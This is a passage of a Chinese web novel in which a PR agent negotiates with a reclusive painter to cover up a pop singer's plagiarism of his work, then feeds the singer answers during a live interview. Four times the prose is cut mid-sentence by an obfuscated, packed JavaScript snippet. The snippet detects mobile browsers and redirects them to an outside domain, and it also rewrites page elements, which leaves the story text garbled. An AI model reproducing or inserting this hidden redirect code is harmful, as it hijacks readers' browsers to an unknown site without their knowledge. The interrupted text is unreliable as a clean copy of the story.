“有这个可能,”麦秋认真分析起来,“毕竟咱这工卡上也没写职级。诶,他回你消息了吗?” “没有。”经她这么一提醒,向宁心里也有点没底,“不过这才三分钟,咱们再等等吧。” 于是二人耐着性子又等了近十分钟,仍然没有任何回音。 麦秋弱弱提议道:“要不要跟枕安解释下呢?” 向宁斟酌半晌,抿着唇摇了摇头。 此时距离专访开始还有一个半小时,向宁在手机上设了个十分钟的倒计时闹钟。 “如果响铃前枕安还没回复消息,咱们就得执行planB了。” “还有planB?是什么呀?” 向宁揉了揉颈椎,一本正经地看向麦秋:“我正在想。” 八分钟。 五分钟。 一分钟。 眼看手机上的倒计时数字越来越小,向宁突然对麦秋说:“用你的手机给枕安打个电话,开免提。如果接通了,就装成地产公司的销售,给他推销楼盘。如果没接通,就给他发一条推销短信。总之别让他意识到咱俩是一伙的就行。” 麦秋虽然未解其意,却不假思索地照做了。 倒计时的数字停在最后几秒,向宁的手机响起了平时极少听到的默认铃声。 与此同时,麦秋的手机扬声器里传来温柔的女声:“您拨打的用户正在通话中,请稍后再拨。” “他在通话中?”麦秋一边编辑推销短信一边猜道,“会是在跟祝璋打电话,确认你的身份吗?” 向宁没有回答,静静看着自己手机屏上的来电显示。 没有任何备注,却不是陌生号码。 而是刚才没往通讯录里存的……可是,怎么会呢? 没时间仔细琢磨了,向宁半信半疑地接起电话,带着练得炉火纯青的商业假笑:“喂,您好。” 略过几秒可疑而尴尬的沉默,对面终于传来一个年轻的男声。 不知是不是错觉,向宁总觉得那声音听起来稍显紧张,两字一顿,隐约压着轻颤。 “您好,我是,枕安。” 向宁倍感惊讶,微微睁大了眼,捂着耳边的手机,对麦秋做了个夸张的口型:枕!安! 麦秋也张大了嘴,发出一个无声的:啊? 二人对视一眼,想法不谋而合——不是说他从来不跟陌生人通电话么?看来,祝璋给的情报不太准确啊。 “枕安老师您好,我是向宁。” 为了不被误会成初出茅庐的实习生,她特意把自己的声线调成了“商务模式”。简言之,就是乔煦晗模仿秀,可惜最多学到三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458885|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分像。 “不是什么老师,”枕安轻声笑了笑,言语间也少了些局促,“直接叫名字就好。” 向宁应了声好,又问:“请问您是改变了主意,打算在电话里详谈合作事宜吗?” 如果是这样就太好了,能省去不少赶路的时间。 “不,还是面谈吧。”不知为何,那声音又变得拘谨起来,“我把地址发给你。” “也好。” 向宁藏起心中失望的同时,不免觉得有些奇怪——既然没改主意,那直接把地址发给她不就好了,何必多此一举打这个电话呢? “你……现在过来吗?”枕安问。 “对的,不打扰吧?” “不打扰。” “那就一会见?”向宁准备挂电话了。 “路上注意安全。”枕安和她同时开口。 两个声音撞在一起,导致向宁没听清他说了什么:“嗯?不好意思,您说什么?” “没什么,”枕安停顿片刻,“一会见。” 收到地址后,向宁立马发动车子,麦秋则忙着设置导航目的地。 然而车刚刚开出几米,导航系统的提示音就让她们傻眼了。 “当前高峰期,规划路线部分路段严重拥堵。” “全程预计耗时——五十七分钟。” 向宁望着处处飘红的地图,一边深呼吸一边默念几遍“不要内耗”,快速调整好了心情。 就算被堵在路上,也不能浪费时间,还有很多功课要做呢。 一会跟枕安谈判,星桥能摆在牌桌上的也就是两张最常规的筹码: 其一,经济补偿。 其二,资源置换。 要把侧重点放在哪里,还得具体问题具体分析。 一般来说,就是缺钱给钱,缺名气给宣发资源,缺人脉给牵线搭桥,缺心眼给画大饼,以此类推。 枕安虽然缺名气,但是未必稀罕娱乐圈的宣发资源,向宁手头也没有艺术圈的人脉能给他拉,真是头疼。 不过既然他名气不大,那么就算不缺钱,应该也不会特别有钱吧? 老天保佑,希望能用最简单的经济补偿解决这桩糟心事! “麦秋,帮我查一下枕安的画作有没有公开的历史交易价格,如果无章美术馆没宣传过,可以去各大拍卖行的官网碰碰运气。” “好嘞!” 麦秋查资料是一把好手,不多时就低声惊呼道:“不是吧,这么贵!” 搜到枕安最新几幅画作的成交价后,麦秋一度怀疑自己漏看了小数点。 此时她们的车正堵在路上一动不动,向宁便凑过去看清了麦秋手机上的数字,波澜不惊道:“几十万一幅……也还好,艺术品能卖到这个价格很正常。” 但是这么一对比,之前定下的补偿金预算就显得过于寒酸了。 “可是枕安的资历和名气都很一般啊……”麦秋不解地喃喃,“他的画为什么也这么值钱呢?” 拍卖网站的推荐语似乎也印证了她的说法。比起其他画家作品下方含金量满满的个人介绍与长评,枕安的简介实在短得可怜,只有一句——浪漫主义新锐画家。 向宁耐心地解答着她的疑问:“我不太了解艺术圈,但是如果用娱乐圈类比一下,还是有蛮多可能性的。” “洗耳恭听!”麦秋虚握右手,将空气话筒送到向宁嘴边。 6. Sorry,职业病 向宁提出了三种可能性。 “第一种——也许枕安的作品偏巧对上了某些收藏家的胃口,他们钱多得花不完,为自己的爱好一掷千金也并不稀奇。” 麦秋若有所思:“喔,就像……有些idol虽然糊穿地心,但只要富婆姐姐喜欢这款,就会心甘情愿为他们砸钱,有时候甚至能花到几百万。” 向宁赞许地笑了笑,继续说道:“第二种——也许那些买家看中的是枕安本人身上的潜力和投资价值。现在花几十万买一幅作品,是为了在将来转手卖上几百万的高价。” “是哦!”麦秋联想到了自己头上,“就像我之前做站姐,也会花钱追一些待爆艺人的行程,其实就是在押宝。如果他们能火,我光卖自己拍到的照片就能赚不少钱了。” 向宁点点头,接着猜道:“第三种可能性不高,权当听个乐吧——也许‘枕安’不是真名,而是其他知名画家披的马甲。圈内有人知情,或者有人眼力好,根据画风猜到了画家的身份,所以才愿意花高价买他的画。如果是这样,几十万一幅画说不定还是捡漏呢。” 麦秋短暂地头脑风暴了一会,却没想到什么例子,于是问道:“娱乐圈也有类似的事吗?” 向宁回忆片刻,答道:“听说有些知名编剧写本子时会披马甲,具体的我也不太清楚。” 麦秋听了,半开玩笑道:“说起披马甲,我刚才确实搜到有批评家说,枕安的画和某位知名画家的风格极为相似,疑有故意模仿之嫌。” “是吗,像谁?” 麦秋重新翻出那个帖子,磕磕巴巴地念道:“亨利艾特·罗纳·克尼普……” 向宁在这方面几乎毫无知识储备量,并不知道那位画家已经过世多年,便依常理推断道:“外国人?那也只能‘像’了,不可能是本人。” 她本以为这个话题大约就此揭过了,麦秋的求知欲却丝毫不减:“除了这些,还有第四种可能吗?” 向宁被她认真的眼神逗得抿唇一笑,却没有正面回答,而是引导道:“人家常说‘举一反三’,现在我这个做老师的都举出‘三’了,你这个当学生的也得试着反个‘一’吧?” “有道理!我想想,第四种可能……”麦秋托了托并不存在的眼镜,“会是……洗钱吗?” 听说画廊和拍卖行是洗钱产业链上最常见的莫比乌斯环,滚几个来回就把脏钱洗干净了。哪怕面对质疑,人家也有话讲——艺术无价嘛。 “怎么说呢……”向宁不好直接否认麦秋的想法,怕打击她的积极性,“虽然不是完全没有可能,但是如果每次只能洗几十万,那效率未免也太低了。倒不如投资拍烂片,每次少说也能洗出八位数来。” 这时,大排长龙的车队终于缓慢地移动起来。向宁将车载音响的音量调大两格,麦秋则陷入了更深的思考。 一路无话,龟速前行。 行程还剩最后几百米时,导航便有些不灵光了。 向宁七拐八拐,将车停在了一条狭窄的胡同口附近,跟路边扯线晾衣服的老太太打听半晌,才搞清楚目标地点的具体位置。 “枕安那么有钱,怎么还住在这么老的居民区啊?”麦秋实在想不通,“难道这里其实卧虎藏龙,他住的是正儿黄儿旗儿正儿宗儿四儿合儿院儿?” “舌头捋直了说话。”向宁轻捏一把麦秋的脸,打开手机备忘录递给她,“你倒是看看地址,谁家四合院有单元号和楼层号啊?” 麦秋只得尴尬地笑笑:“哦哦,忘了这茬。” 此刻天已经黑了大半,二人依照老太太指的路往前走,很快就发觉两侧的路灯越来越少,中间还夹着几个将坏未坏的灯泡,无规律地闪动着,靠近时甚至能听到长短不一的“滋滋”声。 麦秋本就挽着向宁的胳膊,现在更是越抓越紧,不安地问道:“向宁姐,我怎么觉得不大对头呢?有钱人真的会住在这种地方吗?枕安不会在耍我们吧!” 向宁心里也打着鼓,只是并未表现出来。好在剩下这段路并不算长,二人很快就走到了目的地。 这里或许算不上一个小区——没有大门,没有围栏,只有一排老旧的居民楼,突兀地立在小路尽头的分岔一角。四周有几家低矮的蔬果小店紧紧抱在一起,店门都半掩着,从门窗里透出或明或暗的光。 向宁站在单元门前往上看,数到六楼便是顶层,右侧窗户亮着暖色的灯。 离采访开始还有二十分钟,不能再拖了。 这里大概率是枕安的私人住宅,既然没有提前打过招呼,就不好带上麦秋一起去。 “一会我上去跟他谈,你找个亮堂的地方待着。”向宁环顾四周,并没有看到监控摄像头,难免有些不放心,“从现在开始,每隔五分钟给我打个电话报平安。我可能不会接,但是你一定要打。” 麦秋点头答应,同时捏着挎包上的铆钉给自己壮了壮胆。 向宁也不多耽搁,急匆匆上楼去了。 这栋楼没有电梯,狭窄的楼道里装着不大灵敏的声控灯。一梯两户,大多安着隔音较差的老式木门或铁栅栏门,路过时偶尔能听到屋内传来闷闷的电视声响。 好在向宁平时经常健身,所以一口气连爬几层楼也不怎么气喘。 五楼的声控灯似乎坏了,向宁站在其下跺了跺脚,它没有任何反应,六楼的灯却被这一声给震亮了。 那灯光与下面几层的昏黄之色不同,竟然十分白净明亮,也许是新换了灯泡吧。 向宁接着朝六楼走去,发现左右两户装着崭新的门,样式与下面几层格格不入。再走近一看,两边的门锁也是同款的密码锁。 咚咚咚,向宁敲响右侧的房门。 几秒后,猫眼处的明暗变了一变,门内随后传来防盗链滑动的声音。 紧接着,向宁又听到门锁被转动。一圈,两圈,三圈,看来之前这道门被反锁得十分严密,就算知道密码,从外面也是打不开的。 终于,门把手被重重压下。而在房门打开的那一瞬,忽有一股浓郁的饭菜香味扑面而来。 向宁微微抬头定睛一瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458886|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,面前是个年轻人——只看面相应该在二十岁上下,衣着打扮却稍显成熟。 柔软的衬衫干净而平整,袖口款式繁复,似有复古意味。黑色腰封连着细窄背带,更衬其人身姿挺拔。 只是腰间多围了一条半长不短的米色围裙,显得风格有些割裂。 “您好,请问是枕安老师吗?”向宁摆出一个礼貌的微笑。 “是。”他也回以一个微笑,顿了顿,觉得刚才笑得不够明显,于是将那个动作重复一遍,还多停了两秒。显然平时并不常做这个表情。 “直接叫名字就好。”这是他第二次这样说了。 说话间,向宁不着痕迹地持续观察着眼前人—— 他似乎刚洗过澡,不知是不是时间紧的缘故,头发只吹了八分干,发尾还有些潮,半边刘海随意搭在额前。 他的皮肤比常人白些,又或许是在楼道里那盏灯的强光照射下才显得更白。 而在看清他的长相后,向宁顿时职业病发作,脑子里飘过一条弹幕—— “要是能把他的经纪约签下来,每年得赚不少钱吧……” 向宁虽然心理活动极其丰富,但她长久待在特殊的工作环境里,早就见惯了各种风格的帅哥,因而并未露出大惊小怪的表情,面色如常,跟在枕安身后进了门 这套房子并不大,家具少而精致,装饰性的小灯却很多,看着很是温馨。 向宁放眼扫去,右手边是合二为一的客厅与餐厅,桌上摆着热气腾腾的各色菜品。 左边则是一间开放式厨房,灶台上似乎还炖着什么东西。 “真不好意思,打扰您吃晚饭了。”向宁摆出一个带着歉意的笑容。 “不算打扰。” 枕安解下围裙随手挂在窗边的立架上,拉开一把餐椅,看着向宁轻声道:“请坐。” 这份热情与他回短信的风格大相径庭,向宁虽然心存疑虑,表面上却并不推辞,大大方方落了座。谁知刚准备谈正事,包里就猛地传来了鬼吼般的手机铃声。 不是麦秋,而是况星宸。 估计是采访即将开始,他却迟迟等不到向宁的回电,心里越来越没底,所以来催问谈判进展了。 向宁直接挂断电话,将手机放在一边,正要开口,枕安却率先抛出了一个问题—— “你喜欢摇滚乐?” 指的当然是她给况星宸设的专属铃声。 “还行,挺提神的。”向宁不想浪费时间聊闲天,只随口搪塞一句就生硬地转了话题,“我这次来,主要是想——” 话说到一半,又被包里另一个手机的铃声打断了。 晚间新闻片尾曲。打电话的当然也不是麦秋,而是陶温。 这倒是提醒她了,既然陶温现在已经转岗去了文艺频道,这专属铃声也该换一个了。 向宁的手指在挂断键上停了停,有些迟疑。 况星宸和陶温这时候接连给她打电话,别是那边出了什么事吧? 这个电话,到底要不要接呢…… 7. 初次谈判 手机铃声还在响,很吵,惹得向宁有些焦虑。 她带着歉意抬头望了枕安一眼,后者似乎并不介意,微微笑道:“没关系,你先忙。” 语毕起身挽袖,去厨房把刚炖好的汤端上了桌。 向宁接起电话,陶温不知是不是还跟她赌着一口气,语气稍显冷硬道:“我已经到演唱会后台了,十五分钟后开始采访。” “嗯,有事吗?”向宁语速很快。 陶温沉默一瞬,仿佛故意跟她对着干似的,刻意将语速拉慢道:“我刚才跟况星宸打了个照面,他的心虚都快从眼神里溢出来了。你确定他今晚能正面回答我的问题吗?” 向宁依旧言简意赅,显然不想跟他在电话里浪费时间:“确定。” 她把自己的底气不足掩饰得很好,正要找借口挂电话,现成的理由就送上门来了。 就在这时,她放在桌上的手机响起了可爱的动画片主题曲。 「笑一笑,跳一跳,快乐女孩没烦恼!」 是麦秋打来报平安的电话。 枕安一边往碗里盛汤,一边抑不住笑了笑:“你的爱好……还挺广泛的。” 向宁随口应了一声,对陶温敷衍道:“同事找我,不聊了。”继而挂断麦秋打来的电话,把两个手机都调到了振动模式。 枕安加快动作盛完汤,将汤碗推到她面前。 “你是况星宸团队的人?”竟是他先开了口。 向宁有一瞬错愕,不过很快就反应过来:“祝女士跟您打过招呼了?” 想来他不回她消息的那段时间,就是在找祝璋确认情况吧? 枕安点点头,将自己目前所了解的信息简要总结为:“你说的商业合作,就是要我配合他洗白抄袭争议吗?” 这话光听内容似有几分讽刺,可他的语气偏偏像是纯粹的好奇,使向宁一时不好判断他态度如何。 不管怎么说,先道歉总不会有错。 向宁已经做好了代人受过,承受一番愤怒指责的心理准备。毕竟据祝璋说,被剽窃的那幅画是枕安最看重的作品,没有之一。 然而枕安才听了两句开场白,就出言打断了她的致歉,好奇地问道:“向宁小姐,你是播音系毕业的吗?” “嗯?”向宁一怔,猜不透他为什么突然把话题拐到了自己身上,“不是,您为什么这么问?” 枕安眼神一垂,话音里带着浅浅的笑意:“哦,我听你讲起话来字正腔圆,还以为你学的是播音主持呢。” 向宁以前确实苦练过很久的普通话,但这个话题一旦聊起来,就逃不了长篇大论。她现在急着谈正事,不能再浪费时间东拉西扯了。 枕安却没有给她留下机会把话题拉回正轨,继续猜测道:“那……你读的是艺术类院校吗?” 向宁心知这样问下去就没完没了了,却不愿对半生不熟的人据实以告,转念想起麦秋和陶温都是新闻系的,于是随口扯谎道:“我是学新闻的。” 枕安得到了答案,果然点点头不再追问,似乎并未察觉这个参考答案不是正确答案。 向宁思忖片刻,还以为他是因为不想听自己背诵冠冕堂皇的道歉稿,才屡屡故意扯开话题。 于是,她决定下一剂猛药,把最实际的利益放在台面上来谈。 为了留出谈价的空间,向宁给手头的预算打了个八折,用筷子蘸着碗里的汤水,将那个数字写在了空瓷盘上,并将其推到枕安面前。 “关于咱们的合作,您看这个价格可以吗?” “不急。”枕安没有看那个数字,而是搛起一块鱼肉,慢条斯理地剔起刺来,“我更想知道,如果我愿意帮这个忙,你们需要我做什么?” 向宁垂眸假作思索状,片刻后答道:“我们这边可能会回应说——那张专辑封面是况星宸在您的指导下‘参与创作’的,其行为本质并非抄袭,而是共创。” 最理想的洗白方式当然是由枕安本人出面发文,佐证这个说法。 然而枕安并没有任何经过公开认证的社媒账号,向宁也不指望说服他为了这桩糟心事专门搞一个认证账号。就算他愿意帮忙,价格也不好谈。 那就只能退而求其次了—— “放心,我们不会要求您作出任何违心的公开表态,您只要在这个问题上保持沉默就好。” 先铺垫铺垫,把客观上“行不通”说成主观上“不会要求”,至少显得有在考虑对方的心情。 “我们还想买一幅带您署名的画,如果您不舍得出手公开展出过的作品,那么废稿也可以。不过,我们对外的说辞可能会是——这幅画是您送给况星宸的合作礼物。” “也可以”一句,听起来似乎做了让步,实际上废稿才是向宁真正的目标。一方面更容易压价,另一方面,如果况星宸能拿到枕安从未公开展出过的作品,不是更说明他们二人私交甚笃吗? 此外,“封口费”的名字实在不好听,如果想让对方心安理得地收下,就得给人家找个挑不出错的理由。哪怕是高价买一张废纸,只要有“艺术”这块遮羞布,大家面子上总能过得去。 “如果刚才那个数字没有达到您的心理价位,我们也可以再想想办法,提一提价。您放心,反正是况星宸自掏腰包,咱们不用替他省钱。” 就算有意向合作,毕竟被抄了作品,枕安心里难免对况星宸有些怨气。向宁这时站在“咱们”的立场上,给他指出一条能让况星宸破财的路,难道他还有不走的道理? 打完这一套组合拳,向宁已经有了些信心,静待枕安的回应。 然而他却似毫不在乎,也不知有没有把她的话听进心里,只将那块剔净了软刺的鱼肉放在小碗里,推到向宁面前。 “尝尝?”嘴角的笑意若有似无,目光倒是真诚,“这是我的拿手菜,也不知道你吃不吃得惯。” 这是什么意思?向宁不解。 难道是……服从性测试?想看看她的“诚意”? 向宁心里塞满了带着隐形感叹号的问句,脸上却仍旧挂着温柔的笑,垂眸避开枕安的视线,将那块鱼肉塞进了嘴里。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458887|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心那是带有恶作剧性质的黑暗料理,本打算把它当成一颗超大号的药丸,嚼也不嚼,整个吞下去。 没想到筷子一入口,向宁就尝出了滋味,双眼也不由自主地随之一抬,正撞上枕安期待的目光。 “好吃!”这是真心话。 枕安像是终于放了心,颔首抿唇一笑,抢在向宁开口之前站起身来:“那你先吃着,我去找幅画。” 说完就迈着轻快的大步出了门,听声音好像是去了对门房间。 向宁心道:怪不得这两户用的是同款的门与锁,原来是同一家啊。 或许这边是枕安的日常居所,那边是他的画室? 嗡——嗡—— 桌上的手机开始振动,又一个五分钟过去了,麦秋也按时来报平安。 这次向宁接起电话,和她聊了聊谈判进展。 “虽然总觉得哪里怪怪的,但是看枕安的态度,应该八九不离十了,最多再在价码上打一打拉锯战。” 向宁从离她最近的盘子里随意搛了块排骨。本是想随便吃点东西充饥的,筷子一进口却忍不住细细品尝起来。 吃惯了公司食堂和外卖,也不知多久没尝过家常菜的味道了。 麦秋听起来有点疲惫:“唉,你不接电话,况星宸都快把我的手机打爆了。” “让他踏实等着,七点之前,我肯定给他回电。” 向宁挂了电话,忽然想起麦秋还没吃晚饭,于是发了两百块钱红包过去,让她不用在楼下等着,自己找个地方吃饭就行。 麦秋起初坚持不收,直到向宁编了个外勤餐补的瞎话,她才踏踏实实下馆子去了。 「咱公司也太人性化了,一次外勤的餐补居然有二百块!」麦秋发来一句感叹,后面还跟着一张猫猫流口水的表情包。 向宁不由失笑——得,这次又让资本家白捡了一份人情。 不多时,对门传来了关门声。 枕安回来时带着一幅装裱好的画作,尺寸不大,和普通的笔记本电脑差不多。 向宁一眼就认出了那幅画,正是被况星宸抄袭的原作,《回忆余烬》。 枕安把画递给向宁:“用它来‘澄清’,应该会更有说服力。” “您愿意把这幅画卖给我们?”向宁迟疑了片刻才接过它,试探着问,“那……可以告诉我,您的心理价位大概在什么位置吗?” 枕安摇摇头,自顾自去了厨房,一边洗手一边答道:“不是卖,是借,我不要钱。” 那声音和疾速的水流声混在一起,向宁一时竟怀疑起了自己的耳朵。 借?不要钱? 这可不是好兆头。 在娱乐圈幕后混了这么久,向宁深知一个道理——免费的才是最贵的。 她才不相信枕安是什么“圣父病”患者,不但对侵权者毫无怨念,还愿意无偿配合对方洗白。 “借?” 向宁抬高了声音,朝厨房的方向问道。 “那么除了这幅画,我们需要额外偿还的利息是什么呢?” 8. 她有读心术 枕安沉默半晌才挪动步伐坐回原位,在桌上扫视一圈,最终择定了一盘虾,戴上手套一个接一个剥起来。 “他偷了我的灵感,如果要还,也该还一份灵感。” 灵感?怎么还? 向宁感觉自己的头都变大了。 搞艺术的人,说话都这样玄之又玄吗? 如果眼下不是在和他面对面交谈,她高低得发一个表情包过去—— 能给卑职一个明示吗.jpg 向宁在心里暗自叹了口气,尽力维持着面上的微笑:“您的意思是……?” 枕安抬眸望她一眼,小幅度张了张口,思忖片刻,又把嘴边的话咽了回去,摇头道:“算了,用完把画还回来就行,没有别的条件。” 向宁看不懂他的态度。 这摆明了是一桩赔本生意,枕安这么做没道理啊! “那怎么行?”向宁半真半假地提出反对意见,“这事本来就是况星宸做得不地道,要是还让您无偿帮忙,我们心里怎么过意得去?” 这不过是一句场面话。 实际上,向宁真正的心声是:如果他不收好处,双方的合作就不算真正谈成,枕安随时有权反悔,而且没有任何成本。 她讨厌这种握不住主导权,心里没底的感觉。 “这样吗?”枕安似乎相信了她的说辞,“如果实在过意不去,那就麻烦你也帮我一个忙吧。” “您说。” “喔,不好意思,帮我两个忙可以吗?” “嗯……我会尽力,具体需要做什么呢?” 枕安把那盘刚剥好的虾推到向宁面前。 “第一,既然咱们是同龄人,聊天时就别总夹着个‘您’字了,好吗?” 向宁的目光落在装虾的盘子上,愈发不理解枕安过于热情的绅士举动。 不过话说回来,对她们这个行业而言,每段人际关系都有可能发展为重要资源。既然现在枕安主动示好,她当然要牢牢抓住这条人脉,何必深究这份热情背后的原因呢? 想到这里,向宁不多迟疑,果断点头道:“好。” 枕安微笑的表情愈加熟练:“第二,你过几天来还画的时候,可以顺便帮我买一瓶醋吗?” “醋?”向宁很是意外,甚至怀疑自己听错了。 “嗯。”枕安一本正经地解释道,“家里的醋快用完了,我又懒得出门去买。” “只要一瓶醋?” “只要一瓶醋。” 目光真诚,没有丝毫耍心眼的痕迹。 “祝女士的面子还真大。”向宁微笑着瞟了一眼再次开始振动的手机,距离采访开始还有四分钟。 况星宸。 你这个狗东西。 可真是撞上大运了。 …… 倒计时的数字越来越小,况星宸终于等到了向宁的电话。 “姐,我亲姐,你到底谈妥了没啊?”他咬着牙,将声音压得很低,大约是不想被附近的人听到,“那个记者已经来了,都开始试麦了!” “冷静,深呼吸,记住——你在某次逛展时看到了枕安老师的作品,觉得和新歌的氛围高度契合,于是邀请他来指导你,在那幅画的基础上进行二创,并用作专辑封面。因为这次合作十分愉快,所以枕安老师还把那幅画送给你留作纪念了。之前你接受娱记采访时没有提及这一茬,只是为了留一个惊喜,在今晚的舞台上公布合作消息,顺便给枕安老师做宣传。记住了吗?重复一遍!” “记、记住了……合作,我们是合作,一起画了一幅画?然后把那幅画送给我了?纪念?宣传?”况星宸仍然无法冷静下来,“不是,时间这么紧,我哪记得住啊!你别老拽文词行吗?” 向宁不多跟他废话,厉声道:“把手机给刘哥!” 况星宸虽是不解,却也像扔一块烫手山芋似的,把手机扔给了身旁的经纪人。 刘哥接起电话,不明就里道:“啊?” “把这通电话连到他的耳返上!找小李或者小赵都行,她们会弄。” “哦哦,你的意思是,一会让他戴着耳返接受采访,你在背后指导?诶,可是这么一连,你那边就听不见这边的声音了啊?” 向宁不多解释,用另一个手机给刘哥打去了电话。 “采访地点是哪?”她问。 “况星宸的休息室。” “好,把你这个手机倒扣着放在桌子上,话筒朝向记者,旁边多堆点乱七八糟的东西,保持通话。” 刘哥这便明白过来,立马照做。 不料况星宸的耳返出了点问题,总是连接失败,好悬没把他吓出一身冷汗。 还是刘哥急中生智,热情地去给陶温倒水。可乐、雪碧、茶水、咖啡各一杯,费劲巴拉又拖延了两分钟,总算赶上了趟。 向宁这边也松一口气,靠在了椅背上。枕安坐在对面,放轻声音问道:“我能听听采访内容吗?” 向宁想了想,觉得并无不妥。 一方面,这些采访内容迟早要剪成视频公开发出来,没什么可保密的;另一方面,这场采访肯定会问到和枕安相关的问题,让当事人听一听也好,就当是事先串供了。 于是向宁打开手机扬声器,枕安把椅子挪到了她身边,陶温的声音也正好在这时传来。 “第一个问题,有网友发现您这张新专辑的封面和画家枕安的某幅作品高度相似,疑似抄袭,请问您如何回应?” 刚结束例行寒暄,一上来就戳死穴,还真不给况星宸留面子。 向宁不慌不忙,把先前那段说辞掰开了揉碎了,由况星宸一句一句复述出来。 “哦,是这样。”陶温虽然不信,却没有明显地表现出来,“在您的印象里,枕安老师是个什么样的人,可以简单描述一下吗?” 况星宸佯装思考,将问题重复了一遍,在拖时间的同时把皮球踢给了向宁。 枕安斜靠着餐桌,继续托腮看着向宁,似乎也在期待她的回答。 向宁飞速思考起来。 如果只吹捧枕安的画技或者品行,虽然中规中矩不会出错,但是这样无聊的场面话,即便没见过他本人,也能够随口编造出来,不足以令陶温信服。 要怎么回答才能凸显况星宸和他交情匪浅呢……向宁一抬眼,目光扫过餐桌,立马有了主意,于是在常规答案之外补充了一句—— “其实让我印象最深刻的一点是,枕安老师做饭非常好吃。能多吃一口他做的饭,让我多做几组俯卧撑都行。” 为了提升路人群体的泛好感,况星宸近期一直在营销“笨蛋帅哥吃货人设”。这样回答,在贴合人设的同时也告诉了粉丝:不用担心,我有在做身材管理啦,不会因为吃得多就发胖的! 然而事实上,每次况星宸心血来潮点上一大堆高热量食物,总是拍完照发完微博就放下不管了,真正被迫做“吃货”的全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458888|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是工作室里的小伙伴。 招聘启事上管这叫——随机掉落下午茶福利。 况星宸这时已经放松不少,复述完向宁的话,竟然又开始自由发挥,大肆夸赞起枕安的艺术成就和个人品格来。 向宁听得太阳穴直跳,连忙叫停,一连喊了三次“闭嘴”,音量一次比一次大。 况星宸的声音戛然而止。 顶着陶温狐疑的目光,他只好假装咳嗽,拖着时间猛灌几口热茶,才算是遮掩了过去。 枕安在一旁小声打趣道:“怎么突然打断他?觉得他言过其实,你听不下去了?” 向宁关了麦,无奈地扯了扯嘴角:“我是为你好。” “怎么说?”枕安好奇地凑近几分,洗耳恭听。 “要是真的放任况星宸满嘴跑火车,把你夸成一朵花,你就不怕他的粉丝顺水推舟拉郎配,开始战略性嗑你们俩的cp,给况星宸贴万人迷标签吗?” 枕安笑容一僵,似乎有些反胃。 向宁觉得他的反应实在有趣,便继续逗他:“宣传方向我都想好了——高岭之花艺术家为爱堕入凡尘,洗手作羹汤。” 枕安的眼神闪了闪,扭过头去不再看她。 况星宸那边采访继续。 陶温接着挖掘疑点,问道:“在此前的合作过程中,您和枕安老师有留下合照,或者其他影像资料以作纪念吗?” “当然有。” 枕安听向宁说得斩钉截铁,立马警觉起来,对她表明了态度:“我不会配合他补拍合照的。” 向宁比了个“OK”的手势,她原本就没打过这么越界的算盘。 陶温追问道:“您这边方便提供一到两张合照吗?我们台最近要做一个青年艺术家的专题节目,可以帮您二位一起宣传。” 直钩戳着大饼钓鱼,还真把况星宸的心思给钓活络了。 向宁赶忙提醒他注意表情管理,尽量表现出为难的样子。 “抱歉,枕安老师非常注重保护个人隐私。我答应过他,私下的合照只用来留念,不会发布到任何公共平台。” 枕安听完,不由给向宁投去一个惊讶的眼神,意为:你怎么知道?我的行事风格确实如此! 更出乎他意料的是,向宁竟然读懂了那个眼神,得意地眨了眨眼,玩笑道:“我有读心术。” 枕安凝视着她的双眼,仿佛短暂地相信了一瞬,待她移开目光,他也想通了个中关窍,于是自言自语般嗔道:“骗子。” 其实他的个性并不难猜——明明在圈内有一定的知名度,却没有任何认证账号,而且搜遍全网都没有详细信息,更找不到半张照片。仔细想想,大概率就是有意在保护自己的隐私吧。 至于陶温那边,接下去一连几个问题都没问出破绽,难免有些挫败感。 转念一想,却是心如明镜——他不过是输给曾经最亲密的老对手罢了。 不过,不会一直输的。 眼下况星宸借口补妆,又拖延起了时间。陶温只好一边整理采访记录,一边端起纸杯,打算润润嗓子。 